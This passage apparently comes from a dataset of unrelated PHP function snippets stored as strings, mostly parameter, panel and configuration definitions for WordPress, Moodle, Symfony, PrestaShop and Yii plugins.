compatible with WordPress\\'s built-in oEmbed feature.', 'total-theme-core' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_select_buttons',\n\t\t\t\t\t'heading' => esc_html__( 'Image Style', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_style',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'choices' => array(\n\t\t\t\t\t\t'' => esc_html__( 'Auto', 'total-theme-core' ),\n\t\t\t\t\t\t'stretch' => esc_html__( 'Stretch', 'total-theme-core' ),\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_alignments',\n\t\t\t\t\t'heading' => esc_html__( 'Align', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_align',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Border Radius', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_border_radius',\n\t\t\t\t\t'value' => vcex_border_radius_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_sizes',\n\t\t\t\t\t'heading' => esc_html__( 'Image Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_size',\n\t\t\t\t\t'std' => 'wpex_custom',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_crop_locations',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Location', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_crop',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Width', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_width',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_height',\n\t\t\t\t\t'description' => esc_html__( 'Leave empty to disable vertical cropping and keep image proportions.', 'total-theme-core' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_filters',\n\t\t\t\t\t'heading' => esc_html__( 'Image Filter', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_filter',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_hovers',\n\t\t\t\t\t'heading' => esc_html__( 'CSS3 Image Hover', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_hover_style',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Link\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vc_link',\n\t\t\t\t\t'heading' => esc_html__( 'URL', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'url',\n\t\t\t\t\t'group' => esc_html__( 'Link', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_ofswitch',\n\t\t\t\t\t'heading' => esc_html__( 'Local Scroll', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'url_local_scroll',\n\t\t\t\t\t'group' => esc_html__( 'Link', 'total-theme-core' ),\n\t\t\t\t\t'std' => 'false',\n\t\t\t\t),\n\t\t\t\t// CSS\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'css_editor',\n\t\t\t\t\t'heading' => esc_html__( 'CSS box', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'css',\n\t\t\t\t\t'group' => esc_html__( 'CSS', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_teaser' );\n\n\t\t}", "public static function render_block_html_page_parameters() {\n return new external_function_parameters(\n array(\n 'courseid' => new external_value(PARAM_INT, 'course id int', VALUE_DEFAULT, null),\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n 'selectgroupid' => new external_value(PARAM_RAW, 'selectgroupid text', VALUE_DEFAULT, null),\n )\n );\n }", "public function getParamsToView();", "function wp_idolondemand_get_parametric_values($args) {\n\textract($args);\n\techo $before_widget;\n\techo $before_title;?>get_parametric_values<?php echo $after_title;\n\tdisplay_wp_idolondemand_get_parametric_values();\n\techo $after_widget;\n}", "public function render_panel_templates()\n {\n }", "public static function get_parameters() {\n return array(array(\n 'name' => 'groups_page_path',\n 'caption' => 'Path to main groups page',\n 'description' => 'Path to the Drupal page which my groups are listed on.',\n 'type' => 'text_input'\n ), array(\n 'name' => 'group_home_path',\n 'caption' => 'Path to the group home page',\n 'description' => 'Path to the Drupal page which hosts group home pages.',\n 'type' => 'text_input',\n 'required'=>false\n ));\n }", "public static function data_for_competencies_manage_page_parameters() {\n $competencyframeworkid = new external_value(\n PARAM_INT,\n 'The competency framework id',\n VALUE_REQUIRED\n );\n $search = new external_value(\n PARAM_RAW,\n 'A search string',\n VALUE_DEFAULT,\n ''\n );\n $params = array(\n 'competencyframeworkid' => $competencyframeworkid,\n 'search' => $search\n );\n return new external_function_parameters($params);\n }", "protected function parameters()\n {\n $column = array('data' => 0, 'name' => '', 'searchable' => true);\n\n $column['orderable'] = true;\n\n $column['search'] = array('value' => '', 'regex' => false);\n\n $data = array('draw' => 1, 'columns' => array());\n\n $data['order'] = array('column' => 0, 'dir' => 'asc');\n\n $data['start'] = 0;\n\n $data['length'] = 10;\n\n $data['search'] = $column['search'];\n\n $first = $second = $third = $column;\n\n $first['data'] = 1;\n\n $second['data'] = 2;\n\n $third['data'] = 3;\n\n $data['columns'] = array($column, $first, $second, $third);\n\n return $data;\n }", "public function panels()\n {\n }", "public static function get_params() {\n\n\t\t\t$params = array(\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Shortcode', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Extra class name', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'el_class',\n\t\t\t\t\t'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tvcex_vc_map_add_css_animation(),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Duration', 'total'),\n\t\t\t\t\t'param_name' => 'animation_duration',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Delay', 'total'),\n\t\t\t\t\t'param_name' => 'animation_delay',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_shortcode' );\n\n\t\t}", "function getParameters() {\n $ar = split(\";\", $GLOBALS[\"pagedata\"][\"module\"]);\n for ($c = 0; $c < sizeof($ar); $c++) {\n $a = split(\"=\", $ar[$c]);\n $this->module_param[$a[0]] = $a[1];\n }\n }", "function getParameters() {\n $ar = split(\";\", $GLOBALS[\"pagedata\"][\"module\"]);\n for ($c = 0; $c < sizeof($ar); $c++) {\n $a = split(\"=\", $ar[$c]);\n $this->module_param[$a[0]] = $a[1];\n }\n }", "public function getLayoutParameters(): array;", "function _completeModuleParamsArray()\n {\n $params = array(\n 'show_numbers'=>false,\n 'fields'=>'',\n 'show_comments'=>false,\n 'comments_words'=>10,\n 'tn_mode'=>'crop',\n 'tn_size'=>'100x100',\n 'tn_show'=>true,\n 'tn_position'=>'left',\n 'columns'=>1,\n 'orientation'=>'horizontal',\n 'slideshow'=>false,\n 'slideshow_interval'=>6,\n 'nav_position'=>'bottom'\n );\n\n $this->params['module'] = array_merge($params, $this->params['module']);\n }", "public static function render_student_settings_popup_parameters() {\n return new external_function_parameters(\n array(\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n )\n );\n }", "public static function get_parameters() {\n return array(array(\n 'name' => 'groups_page_path',\n 'caption' => 'Path to main groups page',\n 'description' => 'Path to the Drupal page which my groups are listed on.',\n 'type' => 'text_input'\n ), array(\n 'name' => 'group_home_path',\n 'caption' => 'Path to the group home page',\n 'description' => 'Path to the Drupal page which hosts group home pages.',\n 'type' => 'text_input'\n ));\n }", "protected function defineParams() {\n return [\n 'state' => $this->state,\n 'rights' => $this->document->getRights(),\n 'config' => false,\n 'active' => false,\n ];\n }", "public function parameters()\n\t{\n\t\treturn [\n\t\t\t'parent_id' => $this->input('parent_id'),\n\t\t\t'title' => $this->input('title'),\n\t\t\t'icon' => $this->input('icon'),\n\t\t\t'description' => $this->input('description'),\n\t\t\t'is_active' => $this->has('is_active')\n\t\t];\n\t}", "public function render()\n {\n\n $this->setUp();\n \n $html = '';\n \n // $html .= $this->panelTitle();\n $html .= $this->panelMenu();\n // $html .= $this->panelButtons();\n \n if ($this->subPannel) {\n foreach ($this->subPannel as $subPanel) {\n if (is_string($subPanel))\n $html .= $subPanel;\n else\n $html .= $subPanel->render();\n }\n }\n \n return $html;\n \n }", "public function getPanelContent()\n {\n $sqlLogs = $this->getLogs();\n\n // Add table uses summary\n // Sort table uses\n $idTables = array();\n $counts = array();\n $i = 0;\n foreach(self::$tables as $table => $nbUse)\n {\n $counts[$table] = $nbUse;\n $idTables[$table] = $i++;\n }\n \n $tableSummary = array();\n \n if(is_array($counts))\n {\n arsort($counts, SORT_NUMERIC);\n \n // Build summary of table uses\n foreach($counts as $table => $nbUse)\n {\n $tableSummary[] = sprintf('<div style=\"float: left; margin-right: 10px; line-height: 15px;\"><a href=\"#\" onclick=\"jQuery(\\'#sfWebDebugBarCancelLink\\').show(); jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li\\').hide(); jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li.info\\').show(); jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li.table-'.$table.'\\').show(); return false;\" title=\"Only display queries on this table\"><span style=\"color: blue;\"> %s</span> (%s)</a></div>', $table, $nbUse);\n }\n }\n\n // Add color legend\n $legend = '<div style=\"float: left; font-weight: bold; padding: 2px; margin: 2px 2px 2px 0;\">SQL status legend :</div>';\n foreach($this->colors as $min => $content)\n {\n $legend .= '<div style=\"background-color: '.$content[0].'; color: white; float: left; margin: 2px; padding: 2px;\">&gt;= '.$min.' queries ('.$content[1].')</div>';\n }\n\n $liStyle= ' style=\"line-height: 120% !important;\n padding: 5px 0px !important;\n border-bottom: 1px solid silver !important;\n list-style-type: decimal !important;\n margin-bottom:0\"';\n\n $liInfoStyle= ' style=\"line-height: 120% !important;\n padding: 5px 0px !important;\n border-bottom: 1px solid silver !important;\n list-style-type: decimal !important;\n background: #CCC; text-indent: 10px;\n text-shadow:1px 1px 1px rgba(0, 0, 0, 0.2);\"';\n\n\n\n // Build information and query rows\n $queries = array();\n foreach($sqlLogs as $i => $log)\n {\n $table = $log['table'];\n\n $message = '';\n if(array_key_exists($i, $this->info))\n {\n foreach($this->info[$i] as $mess)\n {\n $message .= '<li'.$liInfoStyle.' class=\"info\" style=\"\"><b>'.$mess['message'].' queries:</b></li>';\n }\n }\n \n $link = '';\n if(strstr($log['log'],'SELECT') > 0)\n {\n $link = '<a href=\"#\" style=\"color: blue;\" onclick=\"jQuery(this).parent().children(\\'span.select\\').show(); jQuery(this).hide(); return false;\">(View select content)</a>';\n }\n $message .= '<li'.$liStyle.' class=\"table-'.$table.' sfWebDebugDatabaseQuery\">'.$log['log'].' '.$link.'</li>';\n $queries[] = $message;\n }\n\n return '\n <div id=\"sfWebDebugAdvancedDatabaseLogs\">\n <div style=\"overflow: auto; margin-bottom: 10px;\">'.$legend.'</div>\n <b>Table call summary (click on a table to filter queries)</b>\n <div style=\"overflow: auto; margin-bottom: 10px;\">'.implode(\"\\n\", $tableSummary).'</div>\n <b>SQL queries <span id=\"sfWebDebugBarCancelLink\" style=\"display: none;\">(<a href=\"#\" style=\"color: blue\" onclick=\"jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li\\').show(); jQuery(this).parent().hide(); return false;\">Cancel table filters</a>)</a></span></b>\n <ol style=\"margin-left: 20px\">'.implode(\"\\n\", $queries).'</ol>\n </div>\n ';\n }", "private function accessory_params() {\n return [\n 'name' => $this->params['name'],\n 'release_date' => date('Y-m-d', strtotime($this->params['release_date'])),\n 'description' => $this->params['description'],\n 'producer' => $this->params['producer'],\n 'console_id' => $this->params['console_id']\n ];\n }", "public static function data_for_user_competency_summary_in_plan_parameters() {\n $competencyid = new external_value(\n PARAM_INT,\n 'Data base record id for the competency',\n VALUE_REQUIRED\n );\n $planid = new external_value(\n PARAM_INT,\n 'Data base record id for the plan',\n VALUE_REQUIRED\n );\n\n $params = array(\n 'competencyid' => $competencyid,\n 'planid' => $planid,\n );\n return new external_function_parameters($params);\n }", "function prepareTemplateVars() {\n\t\t$calcModel = KenedoModel::getModel('ConfigboxModelAdmincalculations');\n\t\t$this->calculations = $calcModel->getRecords(array('admincalculations.product_id'=>$this->productId));\n\n\t\t$this->addViewCssClasses();\n\n\t}", "public function getPanel()\n {\n $html = '';\n foreach ($this->_count as $count) {\n $html .= $count['name']. ' - '.$count['total'].' ('.$count['users'].')'.'<br/>';\n }\n \n $body = Zend_Controller_Front::getInstance()->getResponse()->getBody();\n $panel = '<h4>К-во пользователей онлайн:</h4>'.$html;\n return $panel;\n }", "private function __getConfigurationFields()\n {\n ob_start();\n\n foreach ($this->config['configuration'] as $config) {\n include 'view/formFields.php';\n }\n\n $html = ob_get_clean();\n\n return $html;\n }", "public function init() {\n //echo CHtml::openTag('div', array('class' => $this->cssClass, 'style' => 'width:'.$this->width.'px;height:'.$this->height.'px;'));\n echo '<div class=\"ax-panel\">';\n if ($this->showHeader)\n $this->renderHeader();\n $wd = $this->width-10;\n if(!empty($this->height)){\n $hg = $this->height-49;\n echo '<div class=\"'.$this->cssBodyClass.'\" style=\"height: '.$hg.'px;overflow-y:auto;\">';\n }\n else\n echo '<div class=\"'.$this->cssBodyClass.'\">';\n //echo '<div style=\"padding: 5px 5px 0px; width: '.$wd.'px; left: 0px; top: 26px; height: '.$hg.'px; overflow:auto;\" class=\"x-panel-body x-panel-body-default-framed x-docked-noborder-top x-docked-noborder-right x-docked-noborder-bottom x-docked-noborder-left\">';\n }", "public function config($templatify = false)\n {\n $config = parent::config($templatify);\n\n $config['options']['class'] = $config['options']['class'] . ' model-report-item-panel';\n\n // ----------------------------------------------------------------------\n // PANEL\n // ----------------------------------------------------------------------\n $panelId = strtolower(htmlentities(\\Yii::$app->t::getModelClassName($config['model']) . $config['reportItemName'] . '-' . $config['id']));\n $config['panelId'] = $panelId;\n $this->outputJsData([\n 'panelId' => $panelId,\n 'reportItem' => ArrayHelper::getValue($config, 'reportItem.widgetConfig', []),\n 'modelName' => $config['modelName'],\n 'title' => ArrayHelper::getValue($config, 'reportItem.title', null),\n 'reportItemName' => $config['reportItemName'],\n 'apiEndpoint' => \\Yii::$app->reportsManager->apiEndpoint,\n ]);\n return $config;\n }", "public function indexAction()\n {\n \t\n \t$this->_helper->layout()->disableLayout();\n \t\n\t\t$this->params = $this->getRequest()->getParams();\n \n\t\t$this->view->params = $this->params;\n\t\t\n\t\tif(!isset($this->params['vizType']))\n\t\t{\n\t\t\t$this->view->vizType = 2;\n\t\t}\n\t\t\n\t\tif(isset($this->params['vizType']))\n\t\t{\n\t\t\t$this->view->vizType = $this->params['vizType'];\n\t\t}\n\n\t\tif(isset($this->params['vizEx']))\n\t\t{\n\t\t\t$this->view->vizEx = $this->params['vizEx'];\n\t\t}\n\n\t if(isset($this->params['vizQu']))\n\t\t{\n\t\t\t$this->view->vizQu = $this->params['vizQu'];\n\t\t}\n\t\t\n\t if(isset($this->params['vizVo']))\n\t\t{\n\t\t\t$this->view->vizVo = $this->params['vizVo'];\n\t\t}\n if(isset($this->params['vizMy']))\n\t\t{\n\t\t\t$this->view->vizMy = $this->params['vizMy'];\n\t\t}\n\t\t\n\t if(isset($this->params['vizCon']) && $this->params['vizCon']==1)\n\t\t{\n\t\t\t$this->view->vizCon = 1;\n\t\t} else {\n\t\t\t$this->view->vizCon = 0;\n\t\t}\n\t\t\n\t if(isset($this->params['conceptId']))\n\t\t{\n\t\t\t$this->view->conceptId = $this->params['conceptId'];\n\t\t} else {\n\t\t\t$this->view->conceptId = array();\n\t\t}\n\t if(isset($this->params['keyW']))\n\t\t{\n\t\t\t$this->view->keyW = $this->params['keyW'];\n\t\t} else {\n\t\t\t$this->view->keyW = \"\";\n\t\t}\n \tif(isset($this->params['valueAA']))\n\t\t{\n\t\t\t$this->view->valueAA = $this->params['valueAA'];\n\t\t} else {\n\t\t\t$this->view->valueAA = \"\";\n\t\t}\n \tif(isset($this->params['valueBB']))\n\t\t{\n\t\t\t$this->view->valueBB = $this->params['valueBB'];\n\t\t} else {\n\t\t\t$this->view->valueBB = \"1325350800\";\n\t\t}\n\t\t\n if(isset($this->params['vizDate']))\n\t\t{\n\t\t\t$this->view->vizDate = $this->params['vizDate'];\n\t\t} else {\n\t\t\t$this->view->vizDate = 0;\n\t\t}\n\t\t\n }", "private function _createConfigs()\r\n {\r\n $languages = $this->context->language->getLanguages();\r\n\t\t\t\r\n foreach ($languages as $language){\r\n $title[$language['id_lang']] = 'Specials products';\r\n }\r\n $response = Configuration::updateValue('FIELD_SPECIALPLS_NBR', 6);\r\n $response &= Configuration::updateValue('FIELD_SPECIALPLS_TITLE', $title);\r\n $response &= Configuration::updateValue('FIELD_SPECIALPLS_VERTICAL', 1);\r\n $response &= Configuration::updateValue('FIELD_SPECIALPLS_COLUMNITEM', 1);\r\n $response &= Configuration::updateValue('FIELD_SPECIALPLS_MAXITEM', 1);\r\n $response &= Configuration::updateValue('FIELD_SPECIALPLS_MEDIUMITEM', 1);\r\n $response &= Configuration::updateValue('FIELD_SPECIALPLS_MINITEM', 1);\r\n $response &= Configuration::updateValue('FIELD_SPECIALPLS_AUTOSCROLL', 0);\r\n $response &= Configuration::updateValue('FIELD_SPECIALPLS_AUTOSCROLLDELAY', 4000);\r\n $response &= Configuration::updateValue('FIELD_SPECIALPLS_PAUSEONHOVER', 0);\r\n $response &= Configuration::updateValue('FIELD_SPECIALPLS_PAGINATION', 0);\r\n $response &= Configuration::updateValue('FIELD_SPECIALPLS_NAVIGATION', 0);\r\n\r\n return $response;\r\n }", "public function getPanelContent()\n {\n $types = array('previous' => 'previous sessions', 'current' => \"current session\");\n\n $html = '';\n foreach(XHProfRunPool::getRunsByNamespace(true) as $namespace => $allRuns)\n {\n $html .= sprintf('<h2>Namespace : %s<a href=\"#\" onclick=\"sfWebDebugToggle(\\'pmsipilotWebDebugXHProf-%s\\'); return false;\"><img src=\"'.$this->webDebug->getOption('image_root_path').'/toggle.gif\"/></a></h2>', $namespace, md5($namespace));\n $html .= sprintf('<div id=\"pmsipilotWebDebugXHProf-%s\" style=\"display: none;\">', md5($namespace));\n\n foreach($allRuns as $type => $runs)\n {\n $links = array();\n $html .= sprintf(\"<h3>Runs from %s</h3>\", $types[$type]);\n foreach($runs as $run)\n {\n $links[] = sprintf('<input type=\"checkbox\" name=\"runs-%s\" id=\"run-%s\"><a href=\"%s\" target=\"_blank\">Run %s (%s)</a>', md5($namespace), $run->getId(), $run->getUrl(), $run->getId(), date('Y-m-d H:i:s', $run->getDate()));\n }\n if(count($links))\n {\n $html .= sprintf('<ol style=\"margin-left: 0px; list-style-type: none;\" class=\"runs-container-%s\"><li>%s</li></ol>', md5($namespace), implode('</li><li>', $links));\n }\n else\n {\n $html .= \"No run\";\n }\n }\n $html .= sprintf('<input type=\"button\" id=\"runs-%s\" value=\"Compare\" onclick=\"xhprofCompare(this, \\'%s\\', \\'%s\\')\">', md5($namespace), md5($namespace), addslashes($namespace));\n $html .= '</div>';\n }\n \n sfContext::getInstance()->getConfiguration()->loadHelpers('Asset');\n $baseUrl = _compute_public_path('index.php', 'elXHProfPlugin', 'php');\n $html .=<<<EOF\n<script type=\"text/javascript\">\nfunction xhprofCompare(button, namespaceId, namespace) {\n var groupId = button.id;\n var groupNamespace = button.id.split('-')[1];\n \n var checkedElements = [];\n var runContainers = sfWebDebugGetElementsByClassName('runs-container-'+namespaceId);\n for(var i = 0; i<runContainers.length; i++)\n {\n var runCheckboxes = runContainers[i].getElementsByTagName('input');\n for(var j = 0; j<runCheckboxes.length; j++)\n {\n if(runCheckboxes[j].checked)\n {\n checkedElements.push(runCheckboxes[j]);\n }\n }\n }\n \n if(checkedElements.length==2) {\n var run1 = checkedElements[1].id.split('-')[1];\n var run2 = checkedElements[0].id.split('-')[1];\n window.open(\"$baseUrl?run1=\"+run1+\"&run2=\"+run2+\"&source=\"+namespace);\n }\n else\n {\n alert(\"We can only compare 2 runs.\");\n }\n}\n</script>\nEOF;\n \n return $html;\n }", "static function pagePanel (ViewRegistry $context) {\n $panel=\"\";\n $panel.=\"<span drawer=\\\"Page\\\">\";// marker for drawers.js\n $panel.=self::firstPageLink ($context).\"&nbsp;&nbsp;\";\n $panel.=self::genericRewind ($context,\"-3\",-3,true).\"&nbsp;&nbsp;\";\n $panel.=self::prevPageLink($context,\"-1\",true).\"&nbsp;&nbsp;\";\n $panel.=l(\"Page\").\":&nbsp;\".$context->g(\"pageCurrent\").\"&nbsp;&nbsp;\";\n $panel.=self::nextPageLink($context,$no,\"1+\",true).\"&nbsp;&nbsp;\";\n $panel.=self::genericRewind ($context,\"3+\",3,true).\"&nbsp;&nbsp;\";\n $panel.=self::lastPageLink ($context);\n $panel.=\"</span>\";\n return($panel);\n }", "public static function student_settings_popup_data_parameters() {\n return new external_function_parameters(\n array(\n 'courseid' => new external_value(PARAM_INT, 'course id int', VALUE_DEFAULT, null),\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n 'teamnumbers' => new external_value(PARAM_INT, 'team numbers int', VALUE_DEFAULT, 10),\n 'teamusernumbers' => new external_value(PARAM_INT, 'team user numbers int', VALUE_DEFAULT, 3),\n 'teamuserallowenddate' => new external_value(PARAM_INT, 'team user allowend date int', VALUE_DEFAULT, null),\n 'teamuserenddate' => new external_value(PARAM_INT, 'team user end date int', VALUE_DEFAULT, null),\n 'teamuserendmonth' => new external_value(PARAM_INT, 'team user end month int', VALUE_DEFAULT, null),\n 'teamuserendyear' => new external_value(PARAM_INT, 'team user end year int', VALUE_DEFAULT, null),\n 'teamuserendhour' => new external_value(PARAM_INT, 'team user end hour int', VALUE_DEFAULT, null),\n 'teamuserendminute' => new external_value(PARAM_INT, 'team user end minute int', VALUE_DEFAULT, null),\n )\n );\n }", "function getParams()\n {\n global $id;\n global $mode;\n global $data_source;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id = $id;\n }\n if (isset($mode)) {\n $this->mode = $mode;\n }\n if (isset($data_source)) {\n $this->data_source = $data_source;\n }\n if (isset($view_mode)) {\n $this->view_mode = $view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode = $edit_mode;\n }\n if (isset($tab)) {\n $this->tab = $tab;\n }\n }", "private function build_params() {\n\n\t\t\t$this->per_page = $this->request->get_param( 'per_page' ) ? $this->request->get_param( 'per_page' ) : (int) get_option( 'posts_per_page' );\n\t\t\t$this->page = $this->request->get_param( 'page' ) ? $this->request->get_param( 'page' ) : 1;\n\t\t}", "protected function getConfigForm()\n {\n // toDo: Add config to choose items showed by viewedItems\n return array(\n 'form' => array(\n 'legend' => array(\n 'title' => $this->l('Settings'),\n 'icon' => 'icon-cogs',\n ),\n 'input' => array(\n array(\n 'type' => 'switch',\n 'label' => $this->l('Live mode'),\n 'name' => 'CAPTURELEADSXAVIER_LIVE_MODE',\n 'is_bool' => true,\n 'desc' => $this->l('Use this module in live mode'),\n 'values' => array(\n array(\n 'id' => 'active_on',\n 'value' => true,\n 'label' => $this->l('Enabled')\n ),\n array(\n 'id' => 'active_off',\n 'value' => false,\n 'label' => $this->l('Disabled')\n )\n ),\n ),\n array(\n 'col' => 3,\n 'type' => 'text',\n 'prefix' => '<i class=\"icon icon-envelope\"></i>',\n 'desc' => $this->l('Enter a valid email address'),\n 'name' => 'CAPTURELEADSXAVIER_ACCOUNT_EMAIL',\n 'label' => $this->l('Email'),\n ),\n array(\n 'type' => 'password',\n 'name' => 'CAPTURELEADSXAVIER_ACCOUNT_PASSWORD',\n 'label' => $this->l('Password'),\n ),\n array(\n 'type' => 'radio',\n 'label' => $this->l('Column selector'),\n 'name' => 'CAPTURELEADSXAVIER_COL_SEL',\n 'required' => true,\n 'is_bool' => true,\n 'desc' => $this->l('Select on what column you want the module'),\n 'values' => array(\n array(\n 'id' => 'col_left',\n 'value' => \"left\",\n 'label' => $this->l('Left')\n ),\n array(\n 'id' => 'col_right',\n 'value' => \"right\",\n 'label' => $this->l('Right')\n )\n\n ),\n ),\n \n ),\n 'submit' => array(\n 'title' => $this->l('Save'),\n )\n )\n );\n }", "function url_get_parameters() {\n $this->init_full();\n return array('id' => $this->modulerecord->id, 'pageid' => $this->lessonpageid);;\n }", "public static function data_for_course_competencies_page_parameters() {\n $courseid = new external_value(\n PARAM_INT,\n 'The course id',\n VALUE_REQUIRED\n );\n $moduleid = new external_value(\n PARAM_INT,\n 'The module id',\n VALUE_DEFAULT,\n 0\n );\n $params = array('courseid' => $courseid, 'moduleid' => $moduleid);\n return new external_function_parameters($params);\n }", "public function actionRenderTaskPanel() {\n if (isset($_GET['panel'])) {\n $model = null;\n $inner = false;\n\n switch ($_GET['panel']) {\n case 'search':\n $model = new SearchForm;\n break;\n case 'statistics':\n $model = new SearchForm;\n if (isset($_GET['form'])) {\n $this->renderPartial($_GET['form'], null, false, true);\n $inner = true;\n }\n break;\n }\n\n if (!$inner)\n $this->renderPartial($_GET['panel'], array('model' => $model), false, true);\n }\n }", "public static function map() {\n\t\t\treturn array(\n\t\t\t\t'name' => __( 'Divider Dots', 'total' ),\n\t\t\t\t'description' => __( 'Dot Separator', 'total' ),\n\t\t\t\t'base' => 'vcex_divider_dots',\n\t\t\t\t'icon' => 'vcex-dots vcex-icon fa fa-ellipsis-h',\n\t\t\t\t'category' => wpex_get_theme_branding(),\n\t\t\t\t'params' => array(\n\t\t\t\t\t// General\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t\t'heading' => __( 'Visibility', 'total' ),\n\t\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t\t),\n\t\t\t\t\tvcex_vc_map_add_css_animation(),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t\t'heading' => __( 'Extra class name', 'total' ),\n\t\t\t\t\t\t'param_name' => 'el_class',\n\t\t\t\t\t\t'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'total' 